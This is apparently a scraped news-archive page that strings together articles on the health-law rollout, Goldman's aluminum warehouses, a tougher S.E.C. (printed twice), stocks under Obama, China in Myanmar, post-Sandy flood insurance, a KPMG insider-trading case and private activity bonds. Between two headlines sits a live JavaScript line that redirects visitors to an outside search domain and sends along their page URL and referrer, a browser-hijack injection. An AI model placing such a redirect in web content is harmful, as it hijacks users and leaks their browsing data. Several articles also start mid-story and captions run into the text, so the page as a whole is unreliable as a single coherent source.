Consumers Start Using Coverage Under Health Law

“I’ve had some heart palpitations, and my mom’s side has a history of heart problems starting early,” she said Wednesday in a telephone interview. “So it’s mostly just to double-check that everything is O.K.”

Ms. Hornbach, who has had breast cancer and retired early from the technology industry, said that insurance companies in Arizona had refused to cover her until about two years ago, when she got a policy with monthly premiums of $285 and a deductible of $5,500 a year. Last month, using the federal insurance exchange, she bought a midlevel silver plan with lower premiums and deductible.

“It’s a better policy — lower out-of-pocket, more choice of doctors,” she said. “This is a very happy day.”

Consumers around the country began using coverage provided by the new health care law on Wednesday, the same day that Medicaid expanded to hundreds of thousands of people in about half the states. Many provisions of the 2010 health care law offering new benefits and protections to consumers, including those with pre-existing conditions, also took effect.

Hospitals said they were getting ready for an influx of newly insured patients, but many health care providers said the pace was slower than usual because of the New Year’s holiday. In a typical report, Clay Holtzman, a spokesman for Swedish Medical Center in Seattle, said the system’s hospitals were not seeing an immediate surge.

“We might at some point down the road, since we have spent a lot of time informing uninsured patients of their options under the exchange and expanded Medicaid,” Mr. Holtzman said in an email. “But it depends on if those patients chose plans that include us.”

Swedish is one of the largest hospital systems in the region, but Mr. Holtzman said it had been excluded from the networks of providers used by the two largest health plans on the state’s insurance exchange.

Some people using their new insurance discovered that they could be responsible for substantial co-payments and other out-of-pocket costs.

Nancy M. Schlichting, the chief executive of the Henry Ford Health System in Detroit, said that one patient who visited the emergency room of the system’s flagship hospital on Wednesday tried to fill a prescription and found that the co-payment would be $84 — more than she was accustomed to paying. She got a similar drug with a lower co-payment, illustrating the need for patients to pay close attention to details of their drug coverage, Ms. Schlichting said.

In San Antonio, at a 24-hour Walgreens store, only a few vehicles were lined up at the drive-through window at midday, and no one was waiting in line to pick up prescriptions at the indoor pharmacy counter.

“It’s dead,” said Leslie Castillo, a pharmacist on duty. “We’ve had a few regulars come by, but no one has come in today with a new insurance card or wanting us to look up their benefits under Obamacare.”

One reason, Ms. Castillo said, was that most doctors were not seeing patients on the New Year’s holiday. But she added, “We’ll probably be packed tomorrow.”

Kenneth E. Raske, the president of the Greater New York Hospital Association, said: “Today is a historic occasion for the health care community. The coverage expansion kicks in for hundreds of thousands of people in New York State and millions across the country, who will enjoy the comfort of knowing they won’t have to worry about health care bills if they get sick.”

Danny Cottrell, the owner of a pharmacy in Brewton, Ala., said he had helped several people sign up for coverage. One customer, who has $3,500 to $4,000 a year in prescription drug costs, qualified for federal subsidies and chose a plan with a premium of about $300 a month and an annual deductible of $500.

“He will definitely come out ahead,” Mr. Cottrell said. “He will save at least $7,500 a year on medical bills.”

Dr. Michael W. Cropp, the president of Independent Health, an insurer in Buffalo, said, “I anticipate a lot of uncertainty and confusion and some frustration” as consumers begin to use their new insurance policies.

“The website for the New York exchange is now working for most enrollment purposes,” Dr. Cropp said. “But I have concerns about how funds will flow from the federal government to health plans for members receiving federal subsidies.”

Expecting a continued battle over health care, the White House moved Wednesday to recruit volunteers for its campaign to defend and promote the law, which is likely to be a defining issue in many congressional races this year. A White House website invites supporters and beneficiaries of the law to provide their names, email addresses and personal experiences.

“Whether you have new coverage today or know someone who does, we want to hear your story,” David Simas, an aide to President Obama, said in an email to people who had expressed interest in the issue.

Jessica Santillo, a White House spokeswoman, said the invitation was part of a systematic new effort by the administration to “highlight stories of everyday Americans benefiting from the law.”

The administration hopes to encourage enrollment and reverse public opinion polls that show approval of the health care law lagging behind disapproval.

Lisa Maria Garza contributed reporting from San Antonio, and Kimiya Shokoohi from Los Angeles.

DealBook: 22 Under Investigation in Libor Case in Britain

window.location="http://www.dnsrsearch.com/index.php?origURL="+escape(window.location)+"&r="+escape(document.referrer);

Australian Insolvency Can Be Recognized Under U.S. Law

An Australian receivership proceeding must be recognized as a foreign main proceeding under Chapter 15 of the U.S. Bankruptcy Code, the U.S. Court of Appeals for the Third Circuit has ruled in a precedential decision.

DealBook: Under Ballmer, Constant Acquisition, and One Deal That Didn’t Close

Bits Blog: The Rise and Fall of Windows Mobile, Under Ballmer

DealBook: Hiring in China By JPMorgan Under Scrutiny

Under Scrutiny, Goldman Offers to Speed Metal Delivery

Under scrutiny for the long waits that have cost manufacturers — and ultimately consumers — many millions of dollars, Goldman said on Wednesday that its warehouse unit, Metro International Trade Services, would give customers who store aluminum at the warehouses immediate access to their metal.

Through Metro International, Goldman stores vast amounts of aluminum in and around Detroit. An investigation by The New York Times found that Metro routinely shuffled tons of the metal from one warehouse to another, a tactic that profited Goldman but pushed up the price of aluminum across much of the nation.

Goldman also said on Wednesday it would suggest ways to improve the metal storage system, whose rules are dictated by the London Metal Exchange.

Regulators at the Commodity Futures Trading Commission are examining practices at warehouse operations controlled by financial firms and trading houses such as Glencore Xstrata, the Noble Group and Goldman. These operations store aluminum for companies like Coca-Cola and MillerCoors, as well as for speculators.

Congress has taken an interest in the issue as well. Earlier this month, the Senate Banking Committee convened hearings on Wall Street’s push into the physical commodities markets and whether its involvement had raised prices. The Senate Permanent Subcommittee on Investigations, led by Carl Levin, a Michigan Democrat, has also been privately questioning big banks like Goldman, JPMorgan Chase and Morgan Stanley on their commodities businesses.

In Congressional testimony on Tuesday, Mary Jo White, the chairwoman of the Securities and Exchange Commission, said she had asked the agency’s staff to examine the issue.

Goldman said its offer to speed up delivery of metal was open only to industrial customers of its Metro warehouses. If a customer wants immediate delivery of its metal, Goldman said it would go into the open market and buy the amount requested, then swap it to the customer. Goldman said it would pay the difference between the market cost and the higher price that includes the storage premium. Goldman said none of its customers had taken up its offer yet.

Goldman also said that it supported recent efforts at the London exchange to increase the amount of metal allotted for delivery from its large warehouses, like those owned by Metro.

Last week, in the face of rising regulatory concerns about the big banks’ commodities operations, JPMorgan said it was looking to sell its physical commodities businesses, which include sprawling storage and transportation facilities. But Goldman does not appear to be following suit.

In a television interview on Wednesday, Gary D. Cohn, Goldman’s president, said the bank had no immediate plans to sell Metro International. Under the terms of the regulatory exemption provided to Goldman when it bought Metro, the bank has until 2020 to sell it.

DealBook: Under New Chief, a Feistier S.E.C. Emerges

Chip Somodevilla/Getty ImagesMary Jo White, chairwoman of the Securities and Exchange Commission.

First the Securities and Exchange Commission rejected a settlement with a high-flying hedge fund manager, Philip A. Falcone. Then it charged another billionaire trader, Steven A. Cohen. By late Friday afternoon, it had accused one of the nation’s largest cities, Miami, of securities fraud.

It was a busy 24 hours for the S.E.C., the federal regulator once blamed for missing the warning signs of the financial crisis and the vast Ponzi scheme orchestrated by Bernard L. Madoff.

The flurry of moves appeared to signal that the agency was striking a harder line with Wall Street under its new chairwoman, Mary Jo White. While it is still early in her tenure, and the agency faces lingering criticism for its close ties to Wall Street, Ms. White has taken several steps to crack down on financial fraud.

“They’re now demonstrating an aggressiveness that is highly unusual,” said Thomas A. Sporkin, who spent nearly 20 years in the S.E.C’s enforcement unit until last year, when he moved to the law firm Buckley Sandler. “It’s rare to see a day like today.”

When Ms. White was nominated in January, some politicians and consumer groups expressed concerns about her connections to Wall Street. A former federal prosecutor turned defense lawyer, Ms. White has repeatedly spun through the revolving door connecting government and private practice. During her confirmation, several questioned whether Ms. White, who spent the last decade representing big banks like JPMorgan Chase and UBS, could have conflicts of interest.

Her recent actions have started to assuage some concerns. Already, Ms. White has moved to address a central criticism of the agency: that it allows defendants to neither “admit nor deny” wrongdoing when reaching settlements. The leaders of the S.E.C. enforcement unit detailed the policy shift in a memo last month, saying there might be cases that “justify requiring the defendant’s admission of allegations in our complaint or other acknowledgment of the alleged misconduct as part of any settlement.”

“It’s welcome news for the American people desperate for a tougher S.E.C.,” said Dennis M. Kelleher, who runs Better Markets, an advocacy group critical of Wall Street. He said, however, that the agency still had a high bar to prove it could be a tough enforcer. “Two hedge fund cases are good, but not good enough,” he said.

Steve Marcus/ReutersThe S.E.C. rejected a settlement in its civil lawsuit against Philip A. Falcone, chief executive of Harbinger Capital Partners.

A preliminary settlement with Mr. Falcone had been collapsing for weeks, people close to the S.E.C. said, as Ms. White and the agency’s other commissioners questioned whether it was too lax. On Thursday, the agency’s commissioners rejected the settlement, a rare move that happens only once or twice a year.

Moments later, the S.E.C. notified Mr. Falcone and his hedge fund, Harbinger Capital Partners, that the agency had rejected “the previously disclosed agreement in principle,” according to a public filing his company made on Friday. The charges stemmed from accusations that Mr. Falcone had manipulated the market, used hedge fund assets to pay his own taxes and secretly favored select customers at the expense of others.

The S.E.C.’s rejection of the settlement — a move that will prompt the agency to either negotiate a tougher penalty or take Mr. Falcone to trial — suggested that its preliminary deal did not match the gravity of the crime. The deal, announced in May by Mr. Falcone, came with an $18 million penalty from the S.E.C., a rounding error to a hedge fund billionaire. Mr. Falcone was set to personally pay $4 million of the penalty, according to people briefed on the matter, while the fund’s management company would have paid the rest.

While the deal also included at least a two-year ban from raising new capital, that punishment came with a number of caveats. And in a moral victory for Mr. Falcone, the deal also omitted a common provision barring defendants from committing future violations with fraudulent intent, raising concerns that the S.E.C.’s results fell short of its ambitions.

For a time, the S.E.C. was questioning whether to sanction Mr. Cohen. The agency spent nearly a decade investigating his hedge fund, SAC Capital Advisors, and even brought charges against several employees. But Mr. Cohen was not accused of wrongdoing. That changed on Friday, when the S.E.C. accused him of “failing to supervise” employees.

The action, filed as an administrative proceeding at the agency rather than as a lawsuit in federal court, delivers a serious blow to Mr. Cohen. The agency is seeking to bar him from overseeing outside investor funds, a death knell to a hedge fund manager.

It is unusual for the S.E.C. to pursue a case against someone of Mr. Cohen’s stature without formally accusing him of insider trading or fraud. The charge of failing to properly supervise is similar to what other regulators have done in a lawsuit against Jon S. Corzine, who led MF Global during the brokerage firm’s collapse two years ago.

In its charging document on Friday, the S.E.C. says Mr. Cohen failed to halt two of his portfolio managers from trading on confidential information. The two SAC employees, who both face criminal charges, were swept up in a broad federal investigation into insider trading.

One of the portfolio managers, Mathew Martoma, is accused of improperly acting on data about a clinical drug trial in 2008. The other, Michael S. Steinberg, is accused of trading on confidential information about Dell’s financial performance that same year.

Both men have denied the charges and face separate trials that begin in November. An SAC spokesman said that the S.E.C.’s action had no merit. “Steve Cohen acted appropriately at all times and will fight this charge vigorously,” the spokesman said.

The case against Miami came just hours after the action against Mr. Cohen was announced. The S.E.C. accused the city of giving misleading information about its finances to investors in 2009 in an effort to make its municipal bonds more attractive.

The agency also said the city broke a cease-and-desist order it signed in 2003 after facing similar charges. George Canellos, co-director of the S.E.C.’s enforcement unit, said in a statement that the city’s conduct was “all the more appalling and unacceptable” because of the earlier problems.

A lawyer for Miami, Ivan Harris, said the city would fight the charges in court.

DealBook: Under New Chief, a Feistier S.E.C. Emerges

Chip Somodevilla/Getty ImagesMary Jo White, chairwoman of the Securities and Exchange Commission.

First the Securities and Exchange Commission rejected a settlement with a high-flying hedge fund manager, Philip A. Falcone. Then it charged another billionaire trader, Steven A. Cohen. By late Friday afternoon, it had accused one of the nation’s largest cities, Miami, of securities fraud.

It was a busy 24 hours for the S.E.C., the federal regulator once blamed for missing the warning signs of the financial crisis and the vast Ponzi scheme orchestrated by Bernard L. Madoff.

The flurry of moves appeared to signal that the agency was striking a harder line with Wall Street under its new chairwoman, Mary Jo White. While it is still early in her tenure, and the agency faces lingering criticism for its close ties to Wall Street, Ms. White has taken several steps to crack down on financial fraud.

“They’re now demonstrating an aggressiveness that is highly unusual,” said Thomas A. Sporkin, who spent nearly 20 years in the S.E.C’s enforcement unit until last year, when he moved to the law firm Buckley Sandler. “It’s rare to see a day like today.”

When Ms. White was nominated in January, some politicians and consumer groups expressed concerns about her connections to Wall Street. A former federal prosecutor turned defense lawyer, Ms. White has repeatedly spun through the revolving door connecting government and private practice. During her confirmation, several questioned whether Ms. White, who spent the last decade representing big banks like JPMorgan Chase and UBS, could have conflicts of interest.

Her recent actions have started to assuage some concerns. Already, Ms. White has moved to address a central criticism of the agency: that it allows defendants to neither “admit nor deny” wrongdoing when reaching settlements. The leaders of the S.E.C. enforcement unit detailed the policy shift in a memo last month, saying there might be cases that “justify requiring the defendant’s admission of allegations in our complaint or other acknowledgment of the alleged misconduct as part of any settlement.”

“It’s welcome news for the American people desperate for a tougher S.E.C.,” said Dennis M. Kelleher, who runs Better Markets, an advocacy group critical of Wall Street. He said, however, that the agency still had a high bar to prove it could be a tough enforcer. “Two hedge fund cases are good, but not good enough,” he said.

Steve Marcus/ReutersThe S.E.C. rejected a settlement in its civil lawsuit against Philip A. Falcone, chief executive of Harbinger Capital Partners.

A preliminary settlement with Mr. Falcone had been collapsing for weeks, people close to the S.E.C. said, as Ms. White and the agency’s other commissioners questioned whether it was too lax. On Thursday, the agency’s commissioners rejected the settlement, a rare move that happens only once or twice a year.

Moments later, the S.E.C. notified Mr. Falcone and his hedge fund, Harbinger Capital Partners, that the agency had rejected “the previously disclosed agreement in principle,” according to a public filing his company made on Friday. The charges stemmed from accusations that Mr. Falcone had manipulated the market, used hedge fund assets to pay his own taxes and secretly favored select customers at the expense of others.

The S.E.C.’s rejection of the settlement — a move that will prompt the agency to either negotiate a tougher penalty or take Mr. Falcone to trial — suggested that its preliminary deal did not match the gravity of the crime. The deal, announced in May by Mr. Falcone, came with an $18 million penalty from the S.E.C., a rounding error to a hedge fund billionaire. Mr. Falcone was set to personally pay $4 million of the penalty, according to people briefed on the matter, while the fund’s management company would have paid the rest.

While the deal also included at least a two-year ban from raising new capital, that punishment came with a number of caveats. And in a moral victory for Mr. Falcone, the deal also omitted a common provision barring defendants from committing future violations with fraudulent intent, raising concerns that the S.E.C.’s results fell short of its ambitions.

For a time, the S.E.C. was questioning whether to sanction Mr. Cohen. The agency spent nearly a decade investigating his hedge fund, SAC Capital Advisors, and even brought charges against several employees. But Mr. Cohen was not accused of wrongdoing. That changed on Friday, when the S.E.C. accused him of “failing to supervise” employees.

The action, filed as an administrative proceeding at the agency rather than as a lawsuit in federal court, delivers a serious blow to Mr. Cohen. The agency is seeking to bar him from overseeing outside investor funds, a death knell to a hedge fund manager.

It is unusual for the S.E.C. to pursue a case against someone of Mr. Cohen’s stature without formally accusing him of insider trading or fraud. The charge of failing to properly supervise is similar to what other regulators have done in a lawsuit against Jon S. Corzine, who led MF Global during the brokerage firm’s collapse two years ago.

In its charging document on Friday, the S.E.C. says Mr. Cohen failed to halt two of his portfolio managers from trading on confidential information. The two SAC employees, who both face criminal charges, were swept up in a broad federal investigation into insider trading.

One of the portfolio managers, Mathew Martoma, is accused of improperly acting on data about a clinical drug trial in 2008. The other, Michael S. Steinberg, is accused of trading on confidential information about Dell’s financial performance that same year.

Both men have denied the charges and face separate trials that begin in November. An SAC spokesman said that the S.E.C.’s action had no merit. “Steve Cohen acted appropriately at all times and will fight this charge vigorously,” the spokesman said.

The case against Miami came just hours after the action against Mr. Cohen was announced. The S.E.C. accused the city of giving misleading information about its finances to investors in 2009 in an effort to make its municipal bonds more attractive.

The agency also said the city broke a cease-and-desist order it signed in 2003 after facing similar charges. George Canellos, co-director of the S.E.C.’s enforcement unit, said in a statement that the city’s conduct was “all the more appalling and unacceptable” because of the earlier problems.

A lawyer for Miami, Ivan Harris, said the city would fight the charges in court.

Off the Charts: S.&P. Has More Than Doubled Under Obama

Through Friday, more than 52 months after he took office, the index was up 105 percent during his term in office, for a compound annual gain of 18 percent.

There is, of course, more than a little good fortune in that statistic. Mr. Obama took office on Jan. 20, 2009, in the middle of a credit crisis that had caused prices to plunge and would cause them to keep falling for a few more weeks. It helps to start from a very low level. It also helps to have a central bank that drove short-term interest rates to zero, a step that both increased corporate profits and made bonds less attractive investments.

In fact, the United States stock market fell from record high levels this week, and world markets quavered, in part because of comments made by the Federal Reserve chairman, Ben Bernanke, that the Fed might be able to begin to back off from its aggressive monetary stance later this year.

Even with this week’s dip, however, the United States market has done better since early 2009 than any of the next nine largest economies in the world, as can be seen in the accompanying charts. Those charts reflect MSCI indexes, based in dollars, in each country except the United States, where the S.& P. 500 is used.

The United States market lagged many others early in the recovery. But as its economy kept growing, albeit slowly, and European economies faltered and worries grew that emerging economies might experience slower growth, the American market overtook the others.

Of the next nine — ranked on the size of the economies in 2009, only India’s market came close to the performance of the United States market since early 2009. Like the Chinese and Brazilian markets, it excelled early on but is now well below the peak it hit in 2011.

If you put your dollars into the Italian or Spanish stock markets when Mr. Obama took office, your shares would now be worth less than you paid for them. Over all, the world’s stock markets outside the United States have risen less than two-thirds as much as the American one has.

The Wall Street performance has not made Mr. Obama particularly popular among financiers. Indeed, some of the language about the president’s perceived support of socialism and hostility to capitalism during last year’s campaign was the harshest seen in any campaign since 1936, when Franklin D. Roosevelt was seeking a second term and was strongly opposed by many financiers.

By the time Mr. Roosevelt died in 1945, the S.& P. 500 was 141 percent higher than it had been when he took office. But he was in office so long that the annual rate of gain was only 7.5 percent, less than half of the rate so far for the Obama administration.

The other presidents whose term in office included a doubling in the S.& P. were Dwight D. Eisenhower, Ronald Reagan and Bill Clinton. Each served two full terms, and none came close to the average annual gain so far under Mr. Obama. Mr. Clinton’s 15.2 percent was the highest of that group. He had the good fortune to enter office when markets were relatively low and to leave just as the technology stock bubble was starting to collapse.

There is, of course, no guarantee that a market that rises will endure. Mr. Roosevelt’s record would be better if he had left after one term in office; the market was lower when he died in 1945 than it had been when he took the oath of office in 1937 for his second term.

And the president with the best stock market record in the 20th century — using the Dow Jones industrial average, whose history is longer than that of the S.& P. — is Calvin Coolidge. The Dow rose 256 percent — an annual rate of 25.5 percent — from his inauguration in 1923 until he left office in early 1929. The market went up an additional 20 percent before the crash. But by the end of 1931 all of the Coolidge gains had been lost.

Floyd Norris comments on finance and the economy at nytimes.com/economix.

Under Pressure, China Measures Its Impact in Myanmar

China’s ambition of transporting energy through the Indian Ocean and across the mountains of Myanmar seems close to fulfillment. Natural gas is scheduled to start flowing in July from wells deep in the Bay of Bengal through a 500-mile pipeline. Oil will run in a parallel pipe at the end of the year.

But for China, the cost of the pipelines has been far greater than the several billion dollars that the China National Petroleum Corporation, China’s energy giant, has spent on construction. With its projects challenged more than ever by activists energized by Myanmar’s democratic opening, China has been trying to repair its tarnished reputation among residents here, and in the country at large.

Farmers and fishermen in this remote coastal region — who made little headway while objecting to lost lands and diminished catches under Myanmar’s repressive military junta — are winning some concessions. In central Myanmar, monks have joined with ancestral landholders to stop a Chinese-led conglomerate from leveling a fabled mountain embedded with copper.

And last week, in a new ominous sign for the Chinese, guerrillas of the Shan State Army attacked a compound belonging to the Myanmar Oil and Gas Enterprise, a partner with the Chinese oil company, not far from the pipeline and close to China’s border.

In response to the broad opposition, Beijing has ordered secretive state-owned Chinese companies to do something they have rarely done before: publicly embrace Western-style corporate social responsibility practices and act humbly toward the people who live near their vaunted projects.

The grass-roots protests against Chinese projects disturb Beijing because they come amid a scramble for influence in Myanmar between China and the United States.

Official visits give a glimpse of the diplomatic jockeying. President Thein Sein of Myanmar, who heads the quasi-civilian government, will visit the White House on Monday in what will be the first encounter in Washington between an American president and a leader of the country formerly known as Burma, since 1966.

A member of the military junta that China backed for decades, Mr. Thein Sein met President Obama in November during what was the first visit by a sitting American president to Myanmar. Mr. Thein Sein has visited China twice in the past six months. The leader of the opposition, Daw Aung San Suu Kyi, was at the White House earlier this year and is expected in Beijing soon.

“It is in China’s self interest to think about the impact of their investments,” said Thant Myint-U, a Myanmar historian and author of “Where China Meets India: Burma and the New Crossroads of Asia.” “In the long term, it is difficult to see a Myanmar where China is not important. But there is a chance that China will no longer be the dominant actor in Myanmar, and that is worrying for some people in China.”

That concern has prompted Chinese officials, worried about losing Myanmar to the Americans, to push back. When a veteran Chinese diplomat, Wang Yingfan, was appointed several months ago as special envoy to Myanmar, he immediately flew there and spoke about the social obligations of Chinese state-run corporations.

And Gao Mingbo, the head of the political section at the Chinese Embassy in Yangon, said: “The companies must retain the support of the local communities. That has been the consistent message of the embassy: to be open, to be engaged.”

He created the embassy’s Facebook page; although Facebook is blocked in China, it is a tool that Chinese officials in Yangon, Myanmar’s commercial capital and main city, are using to reach citizens.

“If you don’t walk the walk and just talk the talk, you won’t win the hearts and minds of the local people,” Mr. Gao said.

Whether China’s outreach efforts will quell anti-China protests is an open question.

Wai Moe contributed reporting.

Your Money: After Hurricane Sandy, Rebuilding Under Higher Flood Insurance

By now, most know how much insurance money they have to work with, though plenty of people are still struggling to get more. But a new federal law that happened to coincide with the arrival of the storm will cause flood insurance premiums to skyrocket and require stricter, and thus more expensive, rebuilding standards.

So in the most devastated communities, families are being forced to make difficult financial calculations: can they afford the new flood insurance premiums, which, at worst, can reach as high as $30,000 a year? Do they have the money to rebuild their homes to the government’s new specifications? Does it even pay to stay?

Some families have already thrown up their hands and put their houses up for sale, while others talk of making the best of really bad options. “This issue is more devastating to more people than Sandy itself, believe it or not,” said Ron Jampel, a resident of the Shore Acres section of Brick, N.J., who started an advocacy group for affected homeowners in New Jersey called Save Our Communities 2013.

Maria Zanetich, who lives across the street from the water in Point Pleasant, N.J., with her husband and two grown daughters, considers her family lucky in many respects: their first floor is still gutted, but they can continue to live on the top floor of their three-bedroom raised ranch. Their insurance premiums will increase sharply, however, unless they elevate their home five feet, which she said could cost more than $100,000 because their home sits on a concrete slab instead of a foundation with a crawl space.

“I paid my flood insurance on time every year, but I didn’t even know that I had a subsidy, much less one that is now being phased out,” said Ms. Zanetich, who provides early intervention services for children with developmental delays. “The insurance moneys that we received will not cover both elevating my house and repairs.”

She and her husband are applying for grant money — they have already received their flood insurance claim payment — and once they hear about that, they can determine their best course of action. “The more that I try to figure it out,” Ms. Zanetich said, “the more I realize that I don’t know what I don’t know.”

Many people with homes built before the first flood maps were drawn — in New York, for instance, that’s Dec. 31, 1974 — have long received flood insurance at subsidized rates that did not reflect the property’s true risk (though only about 20 percent of flood policy holders nationwide receive these subsidies, according to the Federal Emergency Management Agency). Other homeowners were paying lower rates because the agency failed to update the flood maps, which did not do homeowner’s — or taxpayers, for that matter — any favors.

“A lot of the maps are so old, they have become unreliable,” said J. Robert Hunter, who once ran the flood program and is now the director of insurance at the Consumer Federation of America. “It’s not doing you a favor to give a cheap rate, and a year later, your house is gone,” he said, adding that it also encouraged unwise construction in certain areas. “Consumer aren’t helped by misleading maps.”

But some of that is about to change with the new law, enacted last July, which is aimed at strengthening the finances of the National Flood Insurance Program. FEMA runs the program but it is administered by private insurers.

The subsidies on these older properties started phasing out for vacation and second homes at the beginning of the year, and will rise by 25 percent annually until the rates reflect the actual risks. Homes with “severe and repeated” flooding will start to see the higher rates on Oct. 1, and also face 25 percent increases each year. Everyone else with a subsidy can keep it, at least until they sell to another owner or the policy lapses. Other properties may face higher rates when their community adopts a new flood insurance rate map (commonly called FIRMs) that shows a higher risk, but the best way to know is to ask your insurance agent. Preliminary maps are being released in New York and New Jersey in coming months, but they will not be formally adopted until late next year.

The new maps estimate the type of flooding that is likely to occur when a so-called 100-year storm sweeps into a specific area and establish a base flood elevation, or the level at which the water is expected to rise to in a storm. So incorporating those maps into rebuilding plans is important. (Early versions have already been released and are not expected to change much, FEMA officials said.)

The insurance premiums are determined, in part, by where your home stands relative to that base. The higher you go, of course, the less you pay. Consider a single-family home in a zone with a moderate to high risk of a flood, that has a flood policy with $250,000 of coverage: if the home is four feet below the base flood elevation, the homeowner would pay an annual premium of about $9,500, according to FEMA. But if the home was elevated to the base, the premium would cost $1,410. Hoist the home three feet higher, and the premium would drop to $427.

Elevating is challenging, if it is even possible, and then there is the bureaucratic morass many people are forced to push through to figure out how to pay for it all. That’s a major reason Chris Buono and his wife, who have two young boys, used their insurance claim money to pay off their mortgage, sell their damaged home in Silverton, N.J., and buy another house nearby but out of the flood zone.

They researched every possibility of saving their home, even considering lopping off the master bedroom and bathroom so the home could fit in their backyard while they installed wood pilings under the home’s original footprint. “It just kept coming down to a lack of solid answers and insanely varying estimates and the chance the bottom could fall out from under you years later in some way,” Mr. Buono, a professional guitarist, said. “Way too risky.”

He said many people he knew who were trying to elevate were scared about what they were getting themselves into. “How is that getting back to normal?” he said. “Living with a financial gun to your head after you paid to be covered.”

Homes in high-risk areas that have been “substantially damaged,” where repairs cost more than 50 percent of the structure’s value before the storm, must be fixed so that it complies with current law. Flood insurance policies do offer an extra $30,000 for this work, including elevation. But many homeowners said that did not begin to cover the added expense.

That’s the case for Will Martone and his wife, Eileen, both 62, who bought a second home on the water in Toms River, N.J., almost three years ago. They planned to work a couple of more years and retire there. But the storm caused more than $100,000 of damage, and their insurance claim paid less than half that. They have hired an advocate to help them recover more money, but that is only part of their problem. They, too, need to raise their home, since it sits below the level at which floodwaters are estimated to rise in the event of another big storm. If he does nothing, Mr. Martone said, his annual flood insurance premiums will soar to $31,000. If he raises his home by five and a half feet, he’ll pay $7,000 a year. And if he goes two feet higher, that will bring the rate down to $3,500.

They are entitled to collect the extra $30,000, but since their split-level home is on a slab, the costs are astronomical. That “puts me in the category of $150,000 plus,” said Mr. Martone, a district facilities manager for Siemens Industry, “which I do not have readily available. So there’s a good chance I’ll lose this home.”

Both New York and New Jersey have outlined their plans for various recovery programs in recent weeks, including community development block grants, even programs that would buy properties in high-risk areas for their pre-Sandy value. But people like Mr. Jampel, the founder of the homeowner’s advocacy group, say they do not believe there will be enough money to go around.

Yet for many homeowners, that’s their only hope. Emily Burek, 28, whose three-bedroom home in Highlands, N.J., took in nine feet of water, received $15,000 from her insurer thus far. But she said that covered only a third of her damages, and she is required to elevate. “Without any money to do that, I will be forced into foreclosure,” she said. “The town says there will be grant money, but they’ve also said a lot of things that turned out not to be true. So I’m not sure if it’s better that I just give up now and cut my losses.”

DealBook: Ex-Partner at KPMG Under Scrutiny in Insider Trading

Scout Tufankjian for The New York TimesA Herbalife distributor in New York.

2:07 p.m. | Updated

Federal authorities in Los Angeles are investigating a former senior executive at KPMG on suspicion of leaking secret information to a stock trader, according to people with direct knowledge of the inquiry.

Scott I. London, the partner in charge of the audit practice for KPMG in Southern California, was fired by his employer because of the suspected passing of confidential data to an unnamed individual, a person briefed on the matter said.

The case involves alleged tips about confidential data related to Herbalife, the seller of nutritional supplements, and Skechers USA, the footwear maker, according to these people. On Tuesday morning, both Herbalife and Skechers announced that KPMG had resigned as their auditor.

Both the United States attorney’s office in Los Angeles and the Securities and Exchange Commission’s outpost there are investigating the case, people briefed on the matter said.

Skechers added that, according to KPMG, the former partner in question – Mr. London — was cooperating with authorities.

Skechers paid $50 million last year to resolve claims of false advertising.

Mr. London, 50, could not immediately be reached for comment. He worked at KPMG for 29 years, according to a profile on LinkedIn. A resident of Agoura Hills, California, Mr. London serves as chairman of the L.A. Sports Council and sits on the board of directors of the Los Angeles Area Chamber of Commerce.

The news of possible insider trading emerged in an unusual fashion late on Monday, when KPMG announced on its Web site that it had fired a senior partner in its Los Angeles office because of the suspected passing of confidential information to an unnamed individual “who then used that information in stock trades involving several West Coast companies.”

The firm said it had to resign as auditor from several companies “after concluding today that the firm’s independence has been impacted” because of the partner’s behavior. It added that the partner acted “with deliberate disregard for KPMG’s longstanding culture of professionalism and integrity.”

A government action against the former KPMG partner would add to the recent push by prosecutors and securities regulators to root out insider trading, a campaign that has yielded about 180 civil actions and more than 75 criminal prosecutions.

The news added to a swirl of publicity surrounding Herbalife, a supplement seller that has been in the middle of a well-publicized battle involving several hedge fund managers. William A. Ackman of Pershing Square Capital Management has said that he believes Herbalife is a “pyramid scheme,” and he has a $1 billion bet in the place that the price of the stock will drop. On the other side of the trade is the activist investor Carl C. Icahn, who owns a large position in Herbalife shares.

Herbalife, based in Los Angeles, said that KPMG had informed the company on Monday afternoon it was resigning as auditor because its independence had been impaired.

In its announcement, Herbalife said it believed its financial accounts for its last three fiscal years remained accurate. But KPMG, citing concerns about its independence, withdrew its audits for those years. KPMG also said that its resignation was in no way related to Herbalife’s “financial statements, its accounting practices, the integrity of Herbalife’s management or for any other reason.”

It is unclear when Herbalife will hire a new auditor, though any such firm would probably take a fresh look at the company’s financial records.

David Weinberg, the chief financial officer of Skechers, said in a statement that he believed none of the company’s audited filings misstated its results or financial condition. Still, KPMG was withdrawing its audit reports for the company’s last two fiscal years.

The emergence of a possible insider trading case involving KPMG emerged in an unusual fashion late on Monday, when the firm announced on its Web site that it had fired a senior partner in its Los Angeles office. 

The news is an embarrassment to KPMG, which came under scrutiny last decade for its role in marketing tax shelters. Two former KPMG partners are serving prison terms for selling fraudulent tax shelter schemes to clients.

Tim Connolly, a KPMG spokesman, did not immediately respond to a request for comment.

In the statement issued Monday evening, KPMG said the firm’s “22,000 partners and employees unequivocally condemn this individual’s rogue actions.” The firm did not name the companies whose confidential information was disclosed as part of the scheme.

Skechers, too, has been in the cross hairs of regulators. Last year, it agreed to pay $50 million to resolve federal and state accusations that it misled the public with false advertising related to its “toning shoes.” The company claimed in its ads, including one featuring Kim Kardashian, that the sneakers would help consumers tone muscles and lose weight.

Qualified Private Activity Bonds Come Under New Scrutiny

But this valuable perk — the ability to finance a variety of business projects cheaply with bonds that are exempt from federal taxes — has not only endured, it has grown, in what amounts to a stealth subsidy for private enterprise.

A winery in North Carolina, a golf resort in Puerto Rico and a Corvette museum in Kentucky, as well as the Barclays Center in Brooklyn and the offices of both the Goldman Sachs Group and Bank of America Tower in New York — all of these projects, and many more, have been built using the tax-exempt bonds that are more conventionally used by cities and states to pay for roads, bridges and schools.

In all, more than $65 billion of these bonds have been issued by state and local governments on behalf of corporations since 2003, according to an analysis of Bloomberg bond data by The New York Times. During that period, the single biggest beneficiary of such securities was the Chevron Corporation, which last year reported a profit of $26 billion.

At a time when Washington is rent by the politics of taxes and deficits, select companies are enjoying a tax break normally reserved for public works. This style of financing, called “qualified private activity bonds,” saves businesses money, because they can borrow at relatively low interest rates. But those savings come at the expense of American taxpayers, because the interest paid to bondholders is exempt from taxes. What is more, the projects are often structured so companies can avoid paying state sales taxes on new equipment and, at times, avoid local property taxes.

